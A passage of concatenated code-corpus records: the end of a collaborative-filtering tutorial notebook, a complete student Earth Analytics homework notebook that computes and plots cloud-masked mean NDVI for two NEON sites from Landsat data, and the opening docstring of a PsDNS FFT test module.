be safe about your recommendations, such as expensive services or products or rarely bought, such as houses or cars. However, this lack of '*serendipity*' is missed when we want to enable users to find that particular rare item and amazingly matched with your tastes. As an example, If we take Spotify, we don't want to receive recommendations such as 'Hey, as you listened to Mozart, here is what we think you'd like: Bach'. Spotify greatness works on the premisse of finding the bands and songs that can surprise you, so they wouldn't be effective by working on the Item Item CF schema. Of course, we are going to see more advance techniques in the future where these companies apply modern algorithms to have good recommendations and still be performatic, but the idea now was to show how we can't rely on one algorithm as the best of them all.\n# \n# <img src=\"images/notebook5_image2.png\" width=\"500\">\n#   \n#   \n# In the [next notebook](https://github.com/caiomiyashiro/RecommenderSystemsNotebooks/blob/master/Month%202%20Part%20III%20-%20Notes%20on%20Similarity%20Metrics%20for%20CF.ipynb), we finalise the discussion over Collaborative Filtering by investigating a little more on how the similarity metrics work and try to find out some of its features such as:  \n#   \n# * Why pearson end up being better for User User CF and Cosine Similarity better for Item Item CF?\n# * What are the strenghts and weakness when thinking on using one of the evaluated metrics?\n# * Some filosophies on what they represent and how we can think about them geometrically\n#   \n# Stay tuned :)\n", "meta": {"hexsha": "dcd3964a787c63295fd717c616a2d994609eba7f", "size": 12536, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/nbs/reco-tut-asr-99-05-item-item-cf.py", "max_stars_repo_name": "sparsh-ai/reco-tut-asr", "max_stars_repo_head_hexsha": "d64b6ed02826933e8add8f83a5773c5a0a21896b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "code/nbs/reco-tut-asr-99-05-item-item-cf.py", "max_issues_repo_name": "sparsh-ai/reco-tut-asr", "max_issues_repo_head_hexsha": "d64b6ed02826933e8add8f83a5773c5a0a21896b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "code/nbs/reco-tut-asr-99-05-item-item-cf.py", "max_forks_repo_name": "sparsh-ai/reco-tut-asr", "max_forks_repo_head_hexsha": "d64b6ed02826933e8add8f83a5773c5a0a21896b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 63.3131313131, "max_line_length": 1185, "alphanum_fraction": 0.7601308232, "include": true, "reason": "import numpy", "num_tokens": 3072, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.1540575568655563, "lm_q1q2_score": 0.07222073861951231}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name:** Brian Pinke\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# **Unable to edit/delete cell above.**\n# # Pseudocode of Workflow\n# ###### Import packages\n# * Import packages that are needed in PEP 8 order\n# * Only includeds packages that are used\n# * Gets the ndvi-automation data using earthpy\n# * Changes the working directory to earth-analytics/data\n# \n# ###### Functions\n# * Created 4 functions, each defined in functions\n#     * open_clean_bands\n#     * calc_mndvi\n#     * temp_list\n#     * df_create\n# \n# ###### Task 1\n# * Use os to set the parent path of the data\n# * Use glob to get a list of all sites\n# * Use os to get the name of the desired site\n# * Open the clipping shapefile\n# * Open the crop boundary using geopandas for the desired site\n# * Create a sorted list of all tif bands\n# * Select the specific landsat scene desired\n# * Open the bands at the scene\n# * Open and clip the cloud mask layer using rasterio and clip\n# * Loop through bands for desired scene using open bands function\n# * Store bands in a list and calculate mean ndvi from mndvi function\n# * Use temp_list function to create list of desired attributes\n# * Create pandas df of landsat scene from list\n# \n# ###### Task 2\n# * In this case we desire all scenes from all sites defined in the parent path\n# * Initial path steps are completed in prior task.\n# * Loop through all sites in the sites list (2 sites). For each loop:\n#     * Get site name \n#     * Open shapefile of site for clipping using os and gpd\n#     * Get subdirectories of the site and create path to all scenes\n#     * Loop through all scenes at each site. For each loop:\n#         * Create sorted list of all bands in scene\n#         * Get the cloud mask layer for scene and clip with rasterio\n#         * Loop through the two bands per scene. For each loop:\n#             * Open and clean the two bands using open_clean_bands\n#             * Append opened bands to outer list: all_bands\n#         * Calculate mean ndvi of single scene using calc_mndvi\n#         * Create list of site name, scene date, scene mean ndvi \n#         * Append this list to outermost list: all_list\n# * Use all_list, a list of lists containing site name, date and mean ndvi, to create a pandas dataframe\n# * Set dataframe date column to datetime format and set date to index\n# * Return completed ndvi_df dataframe.\n# \n# ###### Task 3\n# * Create a new df without nan values\n# * Create plot\n# * Group df by site name and loop through:\n#     * plot x-axis as date\n#     * plot y-axis as mean ndvi\n#     * set label as site name\n# * Set axis labels and x-axis boundaries\n# * Set x-axis format to month and create plot grid\n# \n# ###### Bonus Task\n# * Define desired directory location for .csv file\n# * Check if location exists\n#     * If it exists, continue to end of cell\n#     * If doesn't exist, make the directory location and continue to end of cell\n# * use .to_csv to create csv file at desired directory location\n#     \n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\n\n# YOUR CODE HERE\n# Import necessary packages\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport geopandas as gpd\nimport rioxarray as rxr\nimport xarray as xr\nimport earthpy as et\nimport pandas as pd\n\n\nimport matplotlib.dates as mdates\nfrom matplotlib.dates import DateFormatter\n\n\n# Get data and set working directory\ndata = et.data.get_data('ndvi-automation')\nos.chdir(os.path.join(et.io.HOME,\n                      \"earth-analytics\",\n                      \"data\"))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# # Functions to process and optimize code\n# * These four functions are created to reduce copypasta code throughout the notebook\n# * The use of functions also allows for easier modification of code and flow paths\n# * Open_clean_bands function utilizes 'from_disk' to slice where it's only grabbing the data that is needed, saving time and memory resources\n\n# In[5]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n# YOUR CODE HERE\ndef open_clean_bands(band_path,\n                     crop_bound,\n                     valid_range=None,\n                     a_mask=None,\n                     vals=None):\n    \"\"\"Open and mask a single landsat band using a pixel_qa layer.\n\n    Parameters\n    -----------\n    band_path : string\n        A path to the array to be opened\n    crop_bound : geopandas GeoDataFrame\n        A geopandas dataframe to be used to crop the raster data using \n            rasterio mask().\n    valid_range : tuple (optional)\n        A tuple of min and max range of values for the data. Default = None\n    a_mask : xarray DataArray\n        An xarray DataArray with values that have not yet been set to 1\n    vals : list\n        A list of values needed to create the cloud mask\n\n    Returns\n    -----------\n    arr : xarray DataArray\n        An xarray DataArray with values that should be masked set to 1 for \n            True (Boolean)\n    \"\"\"\n    # Open and crop band\n    band_crop = rxr.open_rasterio(band_path, masked=True).rio.clip(crop_bound.geometry,\n                                                                   from_disk=True).squeeze()\n    # Mask band\n    # Only run this step if a valid range tuple is provided\n    if valid_range:\n        mask = ((band_crop < valid_range[0]) | (band_crop > valid_range[1]))\n        band_crop = band_crop.where(~xr.where(mask, True, False))\n\n    if len(a_mask.shape) == 3 & a_mask.shape[0] == 1:\n        a_mask = a_mask.squeeze()\n\n    band_crop = band_crop.where(~a_mask.isin(vals))\n\n    return band_crop\n\n\ndef calc_mndvi(band_list):\n    \"\"\"Calculate mean ndvi from a list of two bands from a single scene.\n\n    Parameters\n    -----------\n    band_list : list\n        A list of two opened bands of xarray DataArray.\n\n    Returns\n    -----------\n    mndvi : xarray DataArray\n        An xarray DataArray of mean normalized difference vegetation index for \n            a single scene.\n    \"\"\"\n    # Calculate mean ndvi\n    # I expect to see RuntimeWarnings when calculated on nan values\n    mndvi = np.nanmean((band_list[1]-band_list[0])/(band_list[1]+band_list[0]))\n\n    return mndvi\n\n\ndef temp_list(site_name, adir, ndvi):\n    \"\"\"Take the site name, scene date, and scene ndvi, and create a list.\n\n    Parameters\n    -----------\n    site_name : string\n        String of the site's name.\n    adir : string\n        String of path to scene file.\n    ndvi : ndvi of scene\n\n    Returns\n    -----------\n    temp_list : list\n        A list of the site name, scene date, and scene ndvi.\n    \"\"\"\n\n    # Append site name, site date, mean ndvi to temp_list\n    temp_list = []\n    temp_list.append(site_name)\n    temp_list.append(adir.split(os.sep)[4][10:18])\n    temp_list.append(ndvi)\n\n    return temp_list\n\n\ndef df_create(all_list):\n    \"\"\"Take a list of lists containing site name, site date, and mean ndvi and \n            create pandas dataframe indexed at date with renamed columns.\n\n    Parameters\n    -----------\n    all_list : list\n        List of all lists containing site name, site date, and mean ndvi.\n\n    Return\n    -----------\n    ndvi_df : pandas dataframe\n        Pandas dataframe indexed at date with renamed columns.\n    \"\"\"\n    # Create pandas dataframe from list\n    ndvi_df = pd.DataFrame(all_list,\n                           columns=[\"site\", \"date\", \"mean_ndvi\"])\n    ndvi_df[\"date\"] = pd.to_datetime(ndvi_df[\"date\"])\n    ndvi_df = ndvi_df.reset_index().set_index([\"date\"])\n\n    return ndvi_df\n\n\n# # The Data Used\n# * The same data used in task 1, task 2, and the figure\n# * The data is imported using et.get_data(ndvi_automation)\n# * This data is Landsat data from two sites:\n#     * San Joaquin Experimental Range / SJER\n#     * Harvard Forest / HARV\n# * SJER is a terrestrial NEON field site located approximately 40 km (25 mi.) north of Fresno, CA. \n# * HARV is a terrestrial NEON field site located approximately 65 miles west of Boston, Massachusetts in the county of Worcester. \n\n# In[6]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\n# YOUR CODE HERE\n# Get a list of each directory\npath = os.path.join(\"ndvi-automation\", \"sites\")\n\n# Get a list of both site directories\nsites = glob(path + \"/*/\")\n\n# Get the site name\nsite_name = os.path.basename(os.path.normpath(sites[0]))\n\n# Open up the shapefile for clipping your landsat data to the study area\nvector_dir = os.path.join(sites[0],\n                          \"vector\")\n\n# Open crop boundary\nsite_boundary_path = os.path.join(vector_dir,  site_name + \"-crop.shp\")\ncrop_bound = gpd.read_file(site_boundary_path)\n\nlandsat_dir = os.path.join(sites[0],\n                           \"landsat-crop\")\n\n# Path to all desired .tif files\nlandsat_dirs = sorted(glob(os.path.join(landsat_dir, \"LC08*\")))\n\n# Select just a single directory and grab bands 4-5 from the directory\nadir = landsat_dirs[4]\n\n# Open bands\nband_paths = sorted(glob(os.path.join(adir, \"*band*[4-5].tif\")))\n\n# Open and clip the cloud mask layer\n# Cloud no data vals for Landsat 8 -\nvals = [328, 392, 840, 904, 1350, 352, 368, 416,\n        432, 480, 864, 880, 928, 944, 992, 480, 992]\n\n# Get cloud mask layer path\nqa_r = glob(os.path.join(adir, \"*qa*\"))\n\n# Clip the cloud mask layer\ncl_mask = rxr.open_rasterio(qa_r[0], masked=True).rio.clip(\n    crop_bound.geometry, from_disk=True).squeeze()\n\n# Open and clean bands\nall_bands = []\nfor aband in band_paths:\n    cleaned_band = open_clean_bands(band_path=aband,\n                                    crop_bound=crop_bound,\n                                    valid_range=(0, 10000),\n                                    a_mask=cl_mask,\n                                    vals=vals)\n    all_bands.append(cleaned_band)\n\n\n# Calculate mean ndvi\nfinal_ndvi = calc_mndvi(all_bands)\n\n# Append site name, site date, ndvi mean to dir_list\ndir_list = temp_list(site_name=site_name, adir=adir, ndvi=final_ndvi)\n\n# Append dir_list to all_list\nall_list_scene = []\nall_list_scene.append(dir_list)\n\n# Create pandas dataframe from scene list\nndvi_df = df_create(all_list=all_list_scene)\n\nndvi_df\n\n\n# In[7]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# # Code Processing\n# * The code below utilizes some objects from Task 1 to reduce processing\n# * Nested for loops are utilized to reduce copypasta of code\n# * Several lists are used to capture information from loops\n# * Four functions are utilized throughout, helping make the code more concise and readable\n\n# In[8]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n# YOUR CODE HERE\n\nall_list = []\nfor asite in sites:\n\n    # Get the site name\n    site_name = os.path.basename(os.path.normpath(asite))\n\n    # Open site shapefile for clipping landsat data to study area\n    vector_dir = os.path.join(asite, \"vector\")\n\n    # Open site crop boundary\n    site_boundary_path = os.path.join(vector_dir, site_name + \"-crop.shp\")\n    crop_bound = gpd.read_file(site_boundary_path)\n\n    # Get subdirectories of site\n    site_dir = os.path.join(asite, \"landsat-crop\")\n\n    # Path to all desired .tif files\n    landsat_dirs = sorted(glob(os.path.join(site_dir, \"*\")))\n\n    # Create df\n    site_list = []\n    for adir in landsat_dirs:\n\n        # Open bands\n        band_paths = sorted(glob(os.path.join(adir, \"*band*[4,5].tif\")))\n\n        # Get cloud mask layer path\n        qa_r = glob(os.path.join(adir, \"*qa*\"))\n\n        # Clip the cloud mask layer\n        cl_mask = rxr.open_rasterio(qa_r[0], masked=True).rio.clip(\n            crop_bound.geometry, from_disk=True).squeeze()\n        \n        # Open and clean bands\n        all_bands = []\n        for aband in band_paths:\n            cleaned_band = open_clean_bands(band_path=aband,\n                                            crop_bound=crop_bound,\n                                            valid_range=(0, 10000),\n                                            a_mask=cl_mask,\n                                            vals=vals)\n            all_bands.append(cleaned_band)\n\n        # Calculate mean ndvi\n        final_ndvi = calc_mndvi(all_bands)\n\n        # Append site name, site date, ndvi mean to dir_list\n        site_list = temp_list(site_name=site_name, adir=adir, ndvi=final_ndvi)\n\n        # Append site_list to all_list\n        all_list.append(site_list)\n\n# Create final df from returned list of lists with mean ndvi, site, and date\nndvi_df = pd.DataFrame(all_list,\n                       columns=[\"site\", \"date\", \"mean_ndvi\"])\nndvi_df[\"date\"] = pd.to_datetime(ndvi_df[\"date\"])\nndvi_df = ndvi_df.reset_index().set_index([\"date\"])\n\nndvi_df\n\n\n# In[9]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points += 2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points += 2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points += 3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points += 3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[10]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\n# YOUR CODE HERE\n# Create new df with nan values removed for plotting\nplot_df = ndvi_df[ndvi_df['mean_ndvi'].notna()]\n\ndate_form_month = DateFormatter(\"%b\")\n\nf, ax = plt.subplots(figsize=(10, 5))\nfor title, group in plot_df.reset_index().groupby('site'):\n    group.groupby('site').plot(x='date',\n                               y='mean_ndvi',\n                               title=\"Mean Normalized Difference Vegetation Index (NDVI) \\n Jan 2017 - Dec 2017 \\n Landsat 8 with Clouds Removed\",\n                               label=title,\n                               style='.-',\n                               ax=ax,\n                               alpha=.8)\n\nax.set(xlabel=\"Month\", ylabel=\"Mean NDVI\", xlim=['2017-01-01', '2017-12-31'])\n\n\nax.xaxis.set_major_formatter(date_form_month)\nax.xaxis.set_major_locator(mdates.MonthLocator(interval=1))\n\nplt.grid(b=None, which='major', axis='both')\n\n# plt.show()\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[11]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# A higher NDVI value generally indicates more vegetation, and a lower value generally indicates less vegetation. In the NDVI plot, HARV has a higher mean NDVI, above 0.8, from mid May to late September. This correlates well with the warmer and rainy season of MA and would be the good period of time to fly. SJER has a higher NDVI, above 0.65, between mid February and April, staying above 0.6 through the end of April. This correlates well with the peak growing season of the area in early March, and would be a good period of time to fly.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# The workflow here captures mean ndvi over the course of a single year. If data were provided for multiple years, this workflow would loop through the additional directory paths and capture the NDVI for all dates provided. The plot could then be adapted to show vegetation changes over time by plotting different line colors for each year, with constant symbols for each location.\n# \n# Another way to capture vegetation change over time would be to groupby mean NDVI for the full year, and plot Mean NDVI per scene by year, rather than by month.\n# \n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[13]:\n\n\ncsv_dir = os.path.join(et.io.HOME, 'earth-analytics',\n                       'spring', 'hw', 'ea-2021-04-ndvi-automation-brianpinke')\n\n# Check path exists before trying to change directory, else make the directory\nif os.path.exists(csv_dir):\n    print(\"Directory exists! Creating CSV.\")\nelse:\n    print(\"Directory did not exist. Making data directory and creating CSV.\")\n    os.makedirs(csv_dir)\n\n# Drop column of index to leave just three desired columns. send csv to path\nndvi_df.drop(columns='index').to_csv(os.path.join(csv_dir, 'ndvi_df.csv'))\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "aa7175294578f9e6f98c8f0d225808935305b877", "size": 29049, "ext": "py", "lang": "Python", "max_stars_repo_path": "ea-2021-04-ndvi-automation-brian-pinke.py", "max_stars_repo_name": "brianpinke/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "544a198ac519e37598b7e3787a17227309b76f0c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ea-2021-04-ndvi-automation-brian-pinke.py", "max_issues_repo_name": "brianpinke/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "544a198ac519e37598b7e3787a17227309b76f0c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ea-2021-04-ndvi-automation-brian-pinke.py", "max_forks_repo_name": "brianpinke/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "544a198ac519e37598b7e3787a17227309b76f0c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.7243994943, "max_line_length": 541, "alphanum_fraction": 0.6939997935, "include": true, "reason": "import numpy", "num_tokens": 7143, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.29098086621490676, "lm_q2_score": 0.24798743179802785, "lm_q1q2_score": 0.07215959771500026}}
{"text": "\"\"\"Tests of the FFT classes.\n\nThe fundemental building block of PsDNS are the FFT classes defined in\n:mod:`~psdns.bases`.  These are tested in this module.  Because the\nspace of potential inputs to the FFT functions is so large, it is\nnecessary to identify specific tests which will be sufficiently\ncomprehensive to provide confidence for all possible FFTs.  Currently\nthere are three main tests:\n\n  1. The :class:`TestSingleMode` class tests forward and backward\n     transforms of a single Fourier mode.\n  2. The classes :class:`TestSymmetries` and :class:`TestProperties` test\n     whether the transforms obey all the properties they should.\n  3. :class:`TestMPI4PyFFT` performs a code-to-code comparison between\n     PsDNS and the `mpi4py <https://mpi4py-fft.readthedocs.io>`_\n     package.\n\nEach of these tests is performed using :attr:`domains` of several\ndifferent sizes, intended to exercise the various different\nscenarios for domain truncation.\n\nIn principle, testing each mode individually, along with linearity,\nshould be enough to guarantee all possible FFTs, however, additional\ntests are provided to provide redundant testing.\n\nAlthough it is usually preferrable to make unit tests purely\ndeterministic, in order to avoid missing errors due to particular\nchoice of array values, several tests make use of randomized arrays\nprovided by the helper routines :func:`random_spectral_array` and\n:func:`random_physical_array`.\n\nThe tests in this module do not automatically run on different numbers\nof MPI ranks.  The tests all use the default communicator, that is,\nthey perform the FFTs on all the available MPI ranks.  Testing for\ndifferent numbers of MPI ranks must be managed manually by the user by\nrunning these tests with different arguments to :program:`mpirun` (as\ndescribed in :mod:`psdns.tests`).  Note that the scaling tests\n(:mod:`psdns.tests.test_scaling`) do not cover this, since they test\nonly run-times, not whether the results are 